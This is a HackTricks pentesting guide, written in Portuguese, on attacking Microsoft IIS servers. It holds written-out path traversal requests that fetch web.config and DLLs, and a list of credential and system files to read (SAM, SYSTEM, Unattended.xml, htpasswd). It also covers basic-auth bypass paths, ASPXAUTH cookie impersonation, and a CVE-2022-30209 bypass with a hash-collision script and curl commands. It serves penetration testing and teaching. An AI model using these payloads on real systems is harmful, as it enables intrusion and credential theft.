hacktricks/network-services-pentesting/pentesting-web/iis-internet-information-services.md

16 KiB
Raw Permalink Blame History

IIS - Internet Information Services

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Teste extensões de arquivos executáveis:

  • asp
  • aspx
  • config
  • php

Divulgação de endereço IP interno

Em qualquer servidor IIS onde você obtiver um 302, você pode tentar remover o cabeçalho Host e usar HTTP/1.0 e dentro da resposta o cabeçalho Location pode apontar para o endereço IP interno:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Resposta revelando o IP interno:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Execute .config files

Você pode fazer upload de arquivos .config e usá-los para executar código. Uma maneira de fazer isso é anexando o código ao final do arquivo dentro de um comentário HTML: Baixar exemplo aqui

Mais informações e técnicas para explorar essa vulnerabilidade aqui

IIS Discovery Bruteforce

Baixe a lista que eu criei:

{% file src="../../.gitbook/assets/iisfinal.txt" %}

Ela foi criada mesclando os conteúdos das seguintes listas:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Use-a sem adicionar nenhuma extensão, os arquivos que precisam já a possuem.

Path Traversal

Leaking source code

Verifique a descrição completa em: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

{% hint style="info" %} Como resumo, há vários arquivos web.config dentro das pastas da aplicação com referências a arquivos "assemblyIdentity" e "namespaces". Com essa informação, é possível saber onde estão localizados os executáveis e baixá-los.
A partir dos Dlls baixados, também é possível encontrar novos namespaces onde você deve tentar acessar e obter o arquivo web.config para encontrar novos namespaces e assemblyIdentity.
Além disso, os arquivos connectionstrings.config e global.asax podem conter informações interessantes.\ {% endhint %}

Em aplicações .Net MVC, o arquivo web.config desempenha um papel crucial ao especificar cada arquivo binário do qual a aplicação depende através de tags XML "assemblyIdentity".

Explorando Arquivos Binários

Um exemplo de acesso ao arquivo web.config é mostrado abaixo:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Esta solicitação revela várias configurações e dependências, como:

  • EntityFramework versão
  • AppSettings para páginas da web, validação de cliente e JavaScript
  • Configurações de System.web para autenticação e tempo de execução
  • Configurações de módulos de System.webServer
  • Vínculos de assembly de Runtime para várias bibliotecas como Microsoft.Owin, Newtonsoft.Json e System.Web.Mvc

Essas configurações indicam que certos arquivos, como /bin/WebGrease.dll, estão localizados na pasta /bin da aplicação.

Arquivos do Diretório Raiz

Arquivos encontrados no diretório raiz, como /global.asax e /connectionstrings.config (que contém senhas sensíveis), são essenciais para a configuração e operação da aplicação.

Namespaces e Web.Config

Aplicações MVC também definem arquivos web.config adicionais para namespaces específicos para evitar declarações repetitivas em cada arquivo, como demonstrado com uma solicitação para baixar outro web.config:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Baixando DLLs

A menção a um namespace personalizado sugere a presença de uma DLL chamada "WebApplication1" no diretório /bin. Em seguida, um pedido para baixar a WebApplication1.dll é mostrado:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Isso sugere a presença de outros DLLs essenciais, como System.Web.Mvc.dll e System.Web.Optimization.dll, no diretório /bin.

Em um cenário onde um DLL importa um namespace chamado WebApplication1.Areas.Minded, um atacante pode inferir a existência de outros arquivos web.config em caminhos previsíveis, como /area-name/Views/, contendo configurações específicas e referências a outros DLLs na pasta /bin. Por exemplo, uma solicitação para /Minded/Views/web.config pode revelar configurações e namespaces que indicam a presença de outro DLL, WebApplication1.AdditionalFeatures.dll.

Arquivos comuns

De aqui

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 Erro 404

Se você ver um erro como o seguinte:

Isso significa que o servidor não recebeu o nome de domínio correto dentro do cabeçalho Host.
Para acessar a página da web, você pode dar uma olhada no Certificado SSL servido e talvez encontre o nome do domínio/subdomínio lá. Se não estiver lá, você pode precisar forçar VHosts até encontrar o correto.

Vulnerabilidades antigas do IIS que valem a pena procurar

Vulnerabilidade/Recurso do caractere til “~” do Microsoft IIS Divulgação de Nome de Arquivo/Pasta Curto

Você pode tentar enumerar pastas e arquivos dentro de cada pasta descoberta (mesmo que exija Autenticação Básica) usando esta técnica.
A principal limitação desta técnica, se o servidor for vulnerável, é que ela só pode encontrar até as primeiras 6 letras do nome de cada arquivo/pasta e as primeiras 3 letras da extensão dos arquivos.

Você pode usar https://github.com/irsdl/IIS-ShortName-Scanner para testar essa vulnerabilidade:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Pesquisa original: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Você também pode usar metasploit: use scanner/http/iis_shortname_scanner

Bypass de Autenticação Básica

Bypass de uma autenticação básica (IIS 7.5) tentando acessar: /admin:$i30:$INDEX_ALLOCATION/admin.php ou /admin::$INDEX_ALLOCATION/admin.php

Você pode tentar misturar essa vulnerabilidade e a última para encontrar novas pastas e bypass a autenticação.

Depuração Trace.AXD habilitada do ASP.NET

ASP.NET inclui um modo de depuração e seu arquivo é chamado trace.axd.

Ele mantém um log muito detalhado de todas as solicitações feitas a uma aplicação ao longo de um período de tempo.

Essas informações incluem IPs de clientes remotos, IDs de sessão, todos os cookies de solicitação e resposta, caminhos físicos, informações de código-fonte e potencialmente até nomes de usuários e senhas.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH usa as seguintes informações:

  • validationKey (string): chave codificada em hex para usar na validação de assinatura.
  • decryptionMethod (string): (padrão “AES”).
  • decryptionIV (string): vetor de inicialização codificado em hex (padrões para um vetor de zeros).
  • decryptionKey (string): chave codificada em hex para usar na descriptografia.

No entanto, algumas pessoas usarão os valores padrão desses parâmetros e usarão como cookie o e-mail do usuário. Portanto, se você conseguir encontrar uma web usando a mesma plataforma que está usando o cookie ASPXAUTH e você criar um usuário com o e-mail do usuário que deseja impersonar no servidor sob ataque, você pode ser capaz de usar o cookie do segundo servidor no primeiro e impersonar o usuário.
Esse ataque funcionou neste writeup.

Bypass de Autenticação do IIS com senhas em cache (CVE-2022-30209)

Relatório completo aqui: Um bug no código não verificou corretamente a senha fornecida pelo usuário, então um atacante cujo hash de senha atinge uma chave que já está no cache poderá fazer login como esse usuário.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporte o HackTricks
{% endhint %}